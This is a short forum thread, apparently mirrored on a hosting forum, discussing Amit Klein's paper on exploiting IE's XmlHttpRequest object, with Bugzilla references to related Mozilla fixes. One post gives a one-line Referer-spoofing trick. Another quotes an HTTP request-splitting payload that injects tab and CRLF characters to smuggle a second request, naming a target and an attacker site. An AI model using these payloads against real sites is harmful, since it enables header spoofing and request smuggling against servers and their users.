Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    anonymous@anonymous.com
    Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit

    Another way to spoof a Referer header using XMLHTTP is to do something like this:
    xmlhttp.SetRequestHeader("Referer:", "http://some.referer.com");

    Note that the ':' after the Referer does the trick here. If this is not present IE ignores this header.
    Thanks!

  2. #2
    Yutaka OIWA
    Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit

    Hello Amit,

    "Amit Klein (AKsecurity)" <aksecurity@hotpop.com> writes:

    > x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
    > /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
    > .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
    > /1.0\r\nFoobar:","http://www.attacker.site/",false);


    This kind of bugs are already fixed in recent Mozilla browsers,
    as shown in your reference [4].

    > [4] "setRequestHeader can be exploited using newline characters",
    > Bugzilla bug 297078
    > https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and
    > "XMLHttpRequest allows dangerous request headers to be set",
    > Bugzilla bug 302263
    > https://bugzilla.mozilla.org/show_bug.cgi?id=302263


    see comment #15 of bug 297078.

    https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15

    --
    Yutaka OIWA Research Center for Information Security
    National Institute of Advanced Industrial Science and Technology (AIST)
    Mail addresses: <y.oiwa@aist.go.jp>, <yutaka@oiwa.jp>
    OpenPGP: id[995DD3E1] fp[3C21 17D0 D953 77D3 02D7 4FEC 4754 40C1 995D D3E1]


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics